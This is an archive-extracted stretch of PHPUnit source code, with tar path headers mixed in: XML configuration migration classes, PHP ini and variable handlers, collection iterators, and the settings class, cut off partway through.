PHPUnit\TextUI\XmlConfiguration; use DOMElement; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class CoverageCloverToReport extends LogToReportMigration { protected function forType(): string { return 'coverage-clover'; } protected function toReportFormat(DOMElement $logNode): DOMElement { $clover = $logNode->ownerDocument->createElement('clover'); $clover->setAttribute('outputFile', $logNode->getAttribute('target')); return $clover; } } vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/CoverageHtmlToReport.php000064400000001610147577714370032344 0ustar00res/readability * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use DOMElement; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class CoverageHtmlToReport extends LogToReportMigration { protected function forType(): string { return 'coverage-html'; } protected function toReportFormat(DOMElement $logNode): DOMElement { $html = $logNode->ownerDocument->createElement('html'); $html->setAttribute('outputDirectory', $logNode->getAttribute('target')); $this->migrateAttributes($logNode, $html, ['lowUpperBound', 'highLowerBound']); return $html; } } phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/MoveWhitelistDirectoriesToCoverage.php000064400000002546147577714370035255 0ustar00res/readability/vendor/phpunit * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use DOMDocument; use DOMElement; use PHPUnit\Util\Xml\SnapshotNodeList; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class MoveWhitelistDirectoriesToCoverage implements Migration { /** * @throws MigrationException */ public function migrate(DOMDocument $document): void { $whitelist = $document->getElementsByTagName('whitelist')->item(0); if ($whitelist === null) { return; } $coverage = $document->getElementsByTagName('coverage')->item(0); if (!$coverage instanceof DOMElement) { throw new MigrationException('Unexpected state - No coverage element'); } $include = $document->createElement('include'); $coverage->appendChild($include); foreach (SnapshotNodeList::fromNodeList($whitelist->childNodes) as $child) { if (!$child instanceof DOMElement || $child->nodeName !== 'directory') { continue; } $include->appendChild($child); } } } vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/LogToReportMigration.php000064400000004151147577714370032362 0ustar00res/readability * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use function sprintf; use DOMDocument; use DOMElement; use DOMXPath; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ abstract class LogToReportMigration implements Migration { /** * @throws MigrationException */ public function migrate(DOMDocument $document): void { $coverage = $document->getElementsByTagName('coverage')->item(0); if (!$coverage instanceof DOMElement) { throw new MigrationException('Unexpected state - No coverage element'); } $logNode = $this->findLogNode($document); if ($logNode === null) { return; } $reportChild = $this->toReportFormat($logNode); $report = $coverage->getElementsByTagName('report')->item(0); if ($report === null) { $report = $coverage->appendChild($document->createElement('report')); } $report->appendChild($reportChild); $logNode->parentNode->removeChild($logNode); } protected function migrateAttributes(DOMElement $src, DOMElement $dest, array $attributes): void { foreach ($attributes as $attr) { if (!$src->hasAttribute($attr)) { continue; } $dest->setAttribute($attr, $src->getAttribute($attr)); $src->removeAttribute($attr); } } abstract protected function forType(): string; abstract protected function toReportFormat(DOMElement $logNode): DOMElement; private function findLogNode(DOMDocument $document): ?DOMElement { $logNode = (new DOMXPath($document))->query( sprintf('//logging/log[@type="%s"]', $this->forType()) )->item(0); if (!$logNode instanceof DOMElement) { return null; } return $logNode; } } vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/CoveragePhpToReport.php000064400000001444147577714370032174 0ustar00res/readability * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use DOMElement; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class CoveragePhpToReport extends LogToReportMigration { protected function forType(): string { return 'coverage-php'; } protected function toReportFormat(DOMElement $logNode): DOMElement { $php = $logNode->ownerDocument->createElement('php'); $php->setAttribute('outputFile', $logNode->getAttribute('target')); return $php; } } phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/RemoveCacheTokensAttribute.php000064400000001275147577714370033525 0ustar00res/readability/vendor * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use DOMDocument; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class RemoveCacheTokensAttribute implements Migration { public function migrate(DOMDocument $document): void { $root = $document->documentElement; if ($root->hasAttribute('cacheTokens')) { $root->removeAttribute('cacheTokens'); } } } vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/IntroduceCoverageElement.php000064400000001341147577714370033210 0ustar00res/readability * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use DOMDocument; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class IntroduceCoverageElement implements Migration { public function migrate(DOMDocument $document): void { $coverage = $document->createElement('coverage'); $document->documentElement->insertBefore( $coverage, $document->documentElement->firstChild ); } } vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/CoverageTextToReport.php000064400000001611147577714370032365 0ustar00res/readability * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use DOMElement; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class CoverageTextToReport extends LogToReportMigration { protected function forType(): string { return 'coverage-text'; } protected function toReportFormat(DOMElement $logNode): DOMElement { $text = $logNode->ownerDocument->createElement('text'); $text->setAttribute('outputFile', $logNode->getAttribute('target')); $this->migrateAttributes($logNode, $text, ['showUncoveredFiles', 'showOnlySummary']); return $text; } } phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/MoveWhitelistExcludesToCoverage.php000064400000004077147577714370034556 0ustar00res/readability/vendor * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use DOMDocument; use DOMElement; use PHPUnit\Util\Xml\SnapshotNodeList; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class MoveWhitelistExcludesToCoverage implements Migration { /** * @throws MigrationException */ public function migrate(DOMDocument $document): void { $whitelist = $document->getElementsByTagName('whitelist')->item(0); if ($whitelist === null) { return; } $excludeNodes = SnapshotNodeList::fromNodeList($whitelist->getElementsByTagName('exclude')); if ($excludeNodes->count() === 0) { return; } $coverage = $document->getElementsByTagName('coverage')->item(0); if (!$coverage instanceof DOMElement) { throw new MigrationException('Unexpected state - No coverage element'); } $targetExclude = $coverage->getElementsByTagName('exclude')->item(0); if ($targetExclude === null) { $targetExclude = $coverage->appendChild( $document->createElement('exclude') ); } foreach ($excludeNodes as $excludeNode) { assert($excludeNode instanceof DOMElement); foreach (SnapshotNodeList::fromNodeList($excludeNode->childNodes) as $child) { if (!$child instanceof DOMElement || !in_array($child->nodeName, ['directory', 'file'], true)) { continue; } $targetExclude->appendChild($child); } if ($excludeNode->getElementsByTagName('*')->count() !== 0) { throw new MigrationException('Dangling child elements in exclude found.'); } $whitelist->removeChild($excludeNode); } } } vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/CoverageCrap4jToReport.php000064400000001573147577714370032573 0ustar00res/readability * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use DOMElement; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class CoverageCrap4jToReport extends LogToReportMigration { protected function forType(): string { return 'coverage-crap4j'; } protected function toReportFormat(DOMElement $logNode): DOMElement { $crap4j = $logNode->ownerDocument->createElement('crap4j'); $crap4j->setAttribute('outputFile', $logNode->getAttribute('target')); $this->migrateAttributes($logNode, $crap4j, ['threshold']); return $crap4j; } } src/TextUI/XmlConfiguration/Migration/Migrations/MoveAttributesFromFilterWhitelistToCoverage.php000064400000002625147577714370037117 0ustar00res/readability/vendor/phpunit/phpunit * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use DOMDocument; use DOMElement; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class MoveAttributesFromFilterWhitelistToCoverage implements Migration { /** * @throws MigrationException */ public function migrate(DOMDocument $document): void { $whitelist = $document->getElementsByTagName('whitelist')->item(0); if (!$whitelist) { return; } $coverage = $document->getElementsByTagName('coverage')->item(0); if (!$coverage instanceof DOMElement) { throw new MigrationException('Unexpected state - No coverage element'); } $map = [ 'addUncoveredFilesFromWhitelist' => 'includeUncoveredFiles', 'processUncoveredFilesFromWhitelist' => 'processUncoveredFiles', ]; foreach ($map as $old => $new) { if (!$whitelist->hasAttribute($old)) { continue; } $coverage->setAttribute($new, $whitelist->getAttribute($old)); $whitelist->removeAttribute($old); } } } res/readability/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/MigrationBuilder.php000064400000004071147577714370027474 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use function array_key_exists; use function sprintf; use function version_compare; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class MigrationBuilder { private const AVAILABLE_MIGRATIONS = [ '8.5' => [ RemoveLogTypes::class, ], '9.2' => [ RemoveCacheTokensAttribute::class, IntroduceCoverageElement::class, MoveAttributesFromRootToCoverage::class, MoveAttributesFromFilterWhitelistToCoverage::class, MoveWhitelistDirectoriesToCoverage::class, MoveWhitelistExcludesToCoverage::class, RemoveEmptyFilter::class, CoverageCloverToReport::class, CoverageCrap4jToReport::class, CoverageHtmlToReport::class, CoveragePhpToReport::class, CoverageTextToReport::class, CoverageXmlToReport::class, ConvertLogTypes::class, UpdateSchemaLocationTo93::class, ], ]; /** * @throws MigrationBuilderException */ public function build(string $fromVersion): array { if (!array_key_exists($fromVersion, self::AVAILABLE_MIGRATIONS)) { throw new MigrationBuilderException( sprintf( 'Migration from schema version %s is not supported', $fromVersion ) ); } $stack = []; foreach (self::AVAILABLE_MIGRATIONS as $version => $migrations) { if (version_compare($version, $fromVersion, '<')) { continue; } foreach ($migrations as $migration) { $stack[] = new $migration; } } return $stack; } } vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/MigrationBuilderException.php000064400000001002147577714370031263 0ustar00res/readability * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use RuntimeException; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class MigrationBuilderException extends RuntimeException implements \PHPUnit\Exception { } res/readability/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrator.php000064400000003046147577714370026021 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use function sprintf; use PHPUnit\Util\Xml\Exception as XmlException; use PHPUnit\Util\Xml\Loader as XmlLoader; use PHPUnit\Util\Xml\SchemaDetector; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Migrator { /** * @throws Exception * @throws MigrationBuilderException * @throws MigrationException * @throws XmlException */ public function migrate(string $filename): string { $origin = (new SchemaDetector)->detect($filename); if (!$origin->detected()) { throw new Exception( sprintf( '"%s" is not a valid PHPUnit XML configuration file that can be migrated', $filename, ) ); } $configurationDocument = (new XmlLoader)->loadFile( $filename, false, true, true ); foreach ((new MigrationBuilder)->build($origin->version()) as $migration) { $migration->migrate($configurationDocument); } $configurationDocument->formatOutput = true; $configurationDocument->preserveWhiteSpace = false; return $configurationDocument->saveXML(); } } res/readability/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/MigrationException.php000064400000000773147577714370030051 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use RuntimeException; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class MigrationException extends RuntimeException implements \PHPUnit\Exception { } res/readability/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/Variable.php000064400000001744147577714370024463 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit * @psalm-immutable */ final class Variable { /** * @var string */ private $name; /** * @var mixed */ private $value; /** * @var bool */ private $force; public function __construct(string $name, $value, bool $force) { $this->name = $name; $this->value = $value; $this->force = $force; } public function name(): string { return $this->name; } public function value() { return $this->value; } public function force(): bool { return $this->force; } } res/readability/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/ConstantCollection.php000064400000002312147577714370026533 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use function count; use Countable; use IteratorAggregate; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit * @psalm-immutable */ final class ConstantCollection implements Countable, IteratorAggregate { /** * @var Constant[] */ private $constants; /** * @param Constant[] $constants */ public static function fromArray(array $constants): self { return new self(...$constants); } private function __construct(Constant ...$constants) { $this->constants = $constants; } /** * @return Constant[] */ public function asArray(): array { return $this->constants; } public function count(): int { return count($this->constants); } public function getIterator(): ConstantCollectionIterator { return new ConstantCollectionIterator($this); } } readability/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/ConstantCollectionIterator.php000064400000002436147577714370030175 0ustar00res * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use function count; use function iterator_count; use Countable; use Iterator; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ConstantCollectionIterator implements Countable, Iterator { /** * @var Constant[] */ private $constants; /** * @var int */ private $position; public function __construct(ConstantCollection $constants) { $this->constants = $constants->asArray(); } public function count(): int { return iterator_count($this); } public function rewind(): void { $this->position = 0; } public function valid(): bool { return $this->position < count($this->constants); } public function key(): int { return $this->position; } public function current(): Constant { return $this->constants[$this->position]; } public function next(): void { $this->position++; } } readability/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/VariableCollectionIterator.php000064400000002436147577714370030131 0ustar00res * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use function count; use function iterator_count; use Countable; use Iterator; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class VariableCollectionIterator implements Countable, Iterator { /** * @var Variable[] */ private $variables; /** * @var int */ private $position; public function __construct(VariableCollection $variables) { $this->variables = $variables->asArray(); } public function count(): int { return iterator_count($this); } public function rewind(): void { $this->position = 0; } public function valid(): bool { return $this->position < count($this->variables); } public function key(): int { return $this->position; } public function current(): Variable { return $this->variables[$this->position]; } public function next(): void { $this->position++; } } res/readability/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/PhpHandler.php000064400000007302147577714370024757 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use const PATH_SEPARATOR; use function constant; use function define; use function defined; use function getenv; use function implode; use function ini_get; use function ini_set; use function putenv; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class PhpHandler { public function handle(Php $configuration): void { $this->handleIncludePaths($configuration->includePaths()); $this->handleIniSettings($configuration->iniSettings()); $this->handleConstants($configuration->constants()); $this->handleGlobalVariables($configuration->globalVariables()); $this->handleServerVariables($configuration->serverVariables()); $this->handleEnvVariables($configuration->envVariables()); $this->handleVariables('_POST', $configuration->postVariables()); $this->handleVariables('_GET', $configuration->getVariables()); $this->handleVariables('_COOKIE', $configuration->cookieVariables()); $this->handleVariables('_FILES', $configuration->filesVariables()); $this->handleVariables('_REQUEST', $configuration->requestVariables()); } private function handleIncludePaths(DirectoryCollection $includePaths): void { if (!$includePaths->isEmpty()) { $includePathsAsStrings = []; foreach ($includePaths as $includePath) { $includePathsAsStrings[] = $includePath->path(); } ini_set( 'include_path', implode(PATH_SEPARATOR, $includePathsAsStrings) . PATH_SEPARATOR . ini_get('include_path') ); } } private function handleIniSettings(IniSettingCollection $iniSettings): void { foreach ($iniSettings as $iniSetting) { $value = $iniSetting->value(); if (defined($value)) { $value = (string) constant($value); } ini_set($iniSetting->name(), $value); } } private function handleConstants(ConstantCollection $constants): void { foreach ($constants as $constant) { if (!defined($constant->name())) { define($constant->name(), $constant->value()); } } } private function handleGlobalVariables(VariableCollection $variables): void { foreach ($variables as $variable) { $GLOBALS[$variable->name()] = $variable->value(); } } private function handleServerVariables(VariableCollection $variables): void { foreach ($variables as $variable) { $_SERVER[$variable->name()] = $variable->value(); } } private function handleVariables(string $target, VariableCollection $variables): void { foreach ($variables as $variable) { $GLOBALS[$target][$variable->name()] = $variable->value(); } } private function handleEnvVariables(VariableCollection $variables): void { foreach ($variables as $variable) { $name = $variable->name(); $value = $variable->value(); $force = $variable->force(); if ($force || getenv($name) === false) { putenv("{$name}={$value}"); } $value = getenv($name); if ($force || !isset($_ENV[$name])) { $_ENV[$name] = $value; } } } } res/readability/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/IniSettingCollection.php000064400000002352147577714370027023 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use function count; use Countable; use IteratorAggregate; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit * @psalm-immutable */ final class IniSettingCollection implements Countable, IteratorAggregate { /** * @var IniSetting[] */ private $iniSettings; /** * @param IniSetting[] $iniSettings */ public static function fromArray(array $iniSettings): self { return new self(...$iniSettings); } private function __construct(IniSetting ...$iniSettings) { $this->iniSettings = $iniSettings; } /** * @return IniSetting[] */ public function asArray(): array { return $this->iniSettings; } public function count(): int { return count($this->iniSettings); } public function getIterator(): IniSettingCollectionIterator { return new IniSettingCollectionIterator($this); } } res/readability/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/Php.php000064400000006545147577714370023471 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit * @psalm-immutable */ final class Php { /** * @var DirectoryCollection */ private $includePaths; /** * @var IniSettingCollection */ private $iniSettings; /** * @var ConstantCollection */ private $constants; /** * @var VariableCollection */ private $globalVariables; /** * @var VariableCollection */ private $envVariables; /** * @var VariableCollection */ private $postVariables; /** * @var VariableCollection */ private $getVariables; /** * @var VariableCollection */ private $cookieVariables; /** * @var VariableCollection */ private $serverVariables; /** * @var VariableCollection */ private $filesVariables; /** * @var VariableCollection */ private $requestVariables; public function __construct(DirectoryCollection $includePaths, IniSettingCollection $iniSettings, ConstantCollection $constants, VariableCollection $globalVariables, VariableCollection $envVariables, VariableCollection $postVariables, VariableCollection $getVariables, VariableCollection $cookieVariables, VariableCollection $serverVariables, VariableCollection $filesVariables, VariableCollection $requestVariables) { $this->includePaths = $includePaths; $this->iniSettings = $iniSettings; $this->constants = $constants; $this->globalVariables = $globalVariables; $this->envVariables = $envVariables; $this->postVariables = $postVariables; $this->getVariables = $getVariables; $this->cookieVariables = $cookieVariables; $this->serverVariables = $serverVariables; $this->filesVariables = $filesVariables; $this->requestVariables = $requestVariables; } public function includePaths(): DirectoryCollection { return $this->includePaths; } public function iniSettings(): IniSettingCollection { return $this->iniSettings; } public function constants(): ConstantCollection { return $this->constants; } public function globalVariables(): VariableCollection { return $this->globalVariables; } public function envVariables(): VariableCollection { return $this->envVariables; } public function postVariables(): VariableCollection { return $this->postVariables; } public function getVariables(): VariableCollection { return $this->getVariables; } public function cookieVariables(): VariableCollection { return $this->cookieVariables; } public function serverVariables(): VariableCollection { return $this->serverVariables; } public function filesVariables(): VariableCollection { return $this->filesVariables; } public function requestVariables(): VariableCollection { return $this->requestVariables; } } res/readability/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/Constant.php000064400000001466147577714370024530 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit * @psalm-immutable */ final class Constant { /** * @var string */ private $name; /** * @var mixed */ private $value; public function __construct(string $name, $value) { $this->name = $name; $this->value = $value; } public function name(): string { return $this->name; } public function value() { return $this->value; } } res/readability/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/IniSetting.php000064400000001510147577714370025002 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit * @psalm-immutable */ final class IniSetting { /** * @var string */ private $name; /** * @var string */ private $value; public function __construct(string $name, string $value) { $this->name = $name; $this->value = $value; } public function name(): string { return $this->name; } public function value(): string { return $this->value; } } res/readability/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/VariableCollection.php000064400000002312147577714370026467 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use function count; use Countable; use IteratorAggregate; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit * @psalm-immutable */ final class VariableCollection implements Countable, IteratorAggregate { /** * @var Variable[] */ private $variables; /** * @param Variable[] $variables */ public static function fromArray(array $variables): self { return new self(...$variables); } private function __construct(Variable ...$variables) { $this->variables = $variables; } /** * @return Variable[] */ public function asArray(): array { return $this->variables; } public function count(): int { return count($this->variables); } public function getIterator(): VariableCollectionIterator { return new VariableCollectionIterator($this); } } readability/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/IniSettingCollectionIterator.php000064400000002462147577714370030460 0ustar00res * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use function count; use function iterator_count; use Countable; use Iterator; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class IniSettingCollectionIterator implements Countable, Iterator { /** * @var IniSetting[] */ private $iniSettings; /** * @var int */ private $position; public function __construct(IniSettingCollection $iniSettings) { $this->iniSettings = $iniSettings->asArray(); } public function count(): int { return iterator_count($this); } public function rewind(): void { $this->position = 0; } public function valid(): bool { return $this->position < count($this->iniSettings); } public function key(): int { return $this->position; } public function current(): IniSetting { return $this->iniSettings[$this->position]; } public function next(): void { $this->position++; } } res/readability/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHPUnit/PHPUnit.php000064400000044073147577714370025067 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit * @psalm-immutable */ final class PHPUnit { /** * @var bool */ private $cacheResult; /** * @var ?string */ private $cacheResultFile; /** * @var int|string */ private $columns; /** * @var string */ private $colors; /** * @var bool */ private $stderr; /** * @var bool */ private $noInteraction; /** * @var bool */ private $verbose; /** * @var bool */ private $reverseDefectList; /** * @var bool */ private $convertDeprecationsToExceptions; /** * @var bool */ private $convertErrorsToExceptions; /** * @var bool */ private $convertNoticesToExceptions; /** * @var bool */ private $convertWarningsToExceptions; /** * @var bool */ private $forceCoversAnnotation; /** * @var ?string */ private $bootstrap; /** * @var bool */ private $processIsolation; /** * @var bool */ private $failOnEmptyTestSuite; /** * @var bool */ private $failOnIncomplete; /** * @var bool */ private $failOnRisky; /** * @var bool */ private $failOnSkipped; /** * @var bool */ private $failOnWarning; /** * @var bool */ private $stopOnDefect; /** * @var bool */ private $stopOnError; /** * @var bool */ private $stopOnFailure; /** * @var bool */ private $stopOnWarning; /** * @var bool */ private $stopOnIncomplete; /** * @var bool */ private $stopOnRisky; /** * @var bool */ private $stopOnSkipped; /** * @var ?string */ private $extensionsDirectory; /** * @var ?string * * @deprecated see https://github.com/sebastianbergmann/phpunit/issues/4039 */ private $testSuiteLoaderClass; /** * @var ?string * * @deprecated see https://github.com/sebastianbergmann/phpunit/issues/4039 */ private $testSuiteLoaderFile; /** * @var ?string */ private $printerClass; /** * @var ?string */ private $printerFile; /** * @var bool */ private $beStrictAboutChangesToGlobalState; /** * @var bool */ private $beStrictAboutOutputDuringTests; /** * @var bool */ private $beStrictAboutResourceUsageDuringSmallTests; /** * @var bool */ private $beStrictAboutTestsThatDoNotTestAnything; /** * @var bool */ private $beStrictAboutTodoAnnotatedTests; /** * @var bool */ private $beStrictAboutCoversAnnotation; /** * @var bool */ private $enforceTimeLimit; /** * @var int */ private $defaultTimeLimit; /** * @var int */ private $timeoutForSmallTests; /** * @var int */ private $timeoutForMediumTests; /** * @var int */ private $timeoutForLargeTests; /** * @var ?string */ private $defaultTestSuite; /** * @var int */ private $executionOrder; /** * @var bool */ private $resolveDependencies; /** * @var bool */ private $defectsFirst; /** * @var bool */ private $backupGlobals; /** * @var bool */ private $backupStaticAttributes; /** * @var bool */ private $registerMockObjectsFromTestArgumentsRecursively; /** * @var bool */ private $conflictBetweenPrinterClassAndTestdox; public function __construct(bool $cacheResult, ?string $cacheResultFile, $columns, string $colors, bool $stderr, bool $noInteraction, bool $verbose, bool $reverseDefectList, bool $convertDeprecationsToExceptions, bool $convertErrorsToExceptions, bool $convertNoticesToExceptions, bool $convertWarningsToExceptions, bool $forceCoversAnnotation, ?string $bootstrap, bool $processIsolation, bool $failOnEmptyTestSuite, bool $failOnIncomplete, bool $failOnRisky, bool $failOnSkipped, bool $failOnWarning, bool $stopOnDefect, bool $stopOnError, bool $stopOnFailure, bool $stopOnWarning, bool $stopOnIncomplete, bool $stopOnRisky, bool $stopOnSkipped, ?string $extensionsDirectory, ?string $testSuiteLoaderClass, ?string $testSuiteLoaderFile, ?string $printerClass, ?string $printerFile, bool $beStrictAboutChangesToGlobalState, bool $beStrictAboutOutputDuringTests, bool $beStrictAboutResourceUsageDuringSmallTests, bool $beStrictAboutTestsThatDoNotTestAnything, bool $beStrictAboutTodoAnnotatedTests, bool $beStrictAboutCoversAnnotation, bool $enforceTimeLimit, int $defaultTimeLimit, int $timeoutForSmallTests, int $timeoutForMediumTests, int $timeoutForLargeTests, ?string $defaultTestSuite, int $executionOrder, bool $resolveDependencies, bool $defectsFirst, bool $backupGlobals, bool $backupStaticAttributes, bool $registerMockObjectsFromTestArgumentsRecursively, bool $conflictBetweenPrinterClassAndTestdox) { $this->cacheResult = $cacheResult; $this->cacheResultFile = $cacheResultFile; $this->columns = $columns; $this->colors = $colors; $this->stderr = $stderr; $this->noInteraction = $noInteraction; $this->verbose = $verbose; $this->reverseDefectList = $reverseDefectList; $this->convertDeprecationsToExceptions = $convertDeprecationsToExceptions; $this->convertErrorsToExceptions = $convertErrorsToExceptions; $this->convertNoticesToExceptions = $convertNoticesToExceptions; $this->convertWarningsToExceptions = $convertWarningsToExceptions; $this->forceCoversAnnotation = $forceCoversAnnotation; $this->bootstrap = $bootstrap; $this->processIsolation = $processIsolation; $this->failOnEmptyTestSuite = $failOnEmptyTestSuite; $this->failOnIncomplete = $failOnIncomplete; $this->failOnRisky = $failOnRisky; $this->failOnSkipped = $failOnSkipped; $this->failOnWarning = $failOnWarning; $this->stopOnDefect = $stopOnDefect; $this->stopOnError = $stopOnError; $this->stopOnFailure = $stopOnFailure; $this->stopOnWarning = $stopOnWarning; $this->stopOnIncomplete = $stopOnIncomplete; $this->stopOnRisky = $stopOnRisky; $this->stopOnSkipped = $stopOnSkipped; $this->extensionsDirectory = $extensionsDirectory; $this->testSuiteLoaderClass = $testSuiteLoaderClass; $this->testSuiteLoaderFile = $testSuiteLoaderFile; $this->printerClass = $printerClass; $this->printerFile = $printerFile; $this->beStrictAboutChangesToGlobalState = $beStrictAboutChangesToGlobalState; $this->beStrictAboutOutputDuringTests = $beStrictAboutOutputDuringTests; $this->beStrictAboutResourceUsageDuringSmallTests = $beStrictAboutResourceUsageDuringSmallTests; $this->beStrictAboutTestsThatDoNotTestAnything = $beStrictAboutTestsThatDoNotTestAnything; $this->beStrictAboutTodoAnnotatedTests = $beStrictAboutTodoAnnotatedTests; $this->beStrictAboutCoversAnnotation = $beStrictAboutCoversAnnotation; $this->enforceTimeLimit = $enforceTimeLimit; $this->defaultTimeLimit = $defaultTimeLimit; $this->timeoutForSmallTests = $timeoutForSmallTests; $this->timeoutForMediumTests = $timeoutForMediumTests; $this->timeoutForLargeTests = $timeoutForLargeTests; $this->defaultTestSuite = $defaultTestSuite; $this->executionOrder = $executionOrder; $this->resolveDependencies = $resolveDependencies; $this->defectsFirst = $defectsFirst; $this->backupGlobals = $backupGlobals; $this->backupStaticAttributes = $backupStaticAttributes; $this->registerMockObjectsFromTestArgumentsRecursively = $registerMockObjectsFromTestArgumentsRecursively; $this->conflictBetweenPrinterClassAndTestdox = $conflictBetweenPrinterClassAndTestdox; } public function cacheResult(): bool { return $this->cacheResult; } /** * @psalm-assert-if-true !null $this->cacheResultFile */ public function hasCacheResultFile(): bool { return $this->cacheResultFile !== null; } /** * @throws Exception */ public function cacheResultFile(): string { if (!$this->hasCacheResultFile()) { throw new Exception('Cache result file is not configured'); } return (string) $this->cacheResultFile; } public function columns() { return $this->columns; } public function colors(): string { return $this->colors; } public function stderr(): bool { return $this->stderr; } public function noInteraction(): bool { return $this->noInteraction; } public function verbose(): bool { return $this->verbose; } public function reverseDefectList(): bool { return $this->reverseDefectList; } public function convertDeprecationsToExceptions(): bool { return $this->convertDeprecationsToExceptions; } public function convertErrorsToExceptions(): bool { return $this->convertErrorsToExceptions; } public function convertNoticesToExceptions(): bool { return $this->convertNoticesToExceptions; } public function convertWarningsToExceptions(): bool { return $this->convertWarningsToExceptions; } public function forceCoversAnnotation(): bool { return $this->forceCoversAnnotation; } /** * @psalm-assert-if-true !null 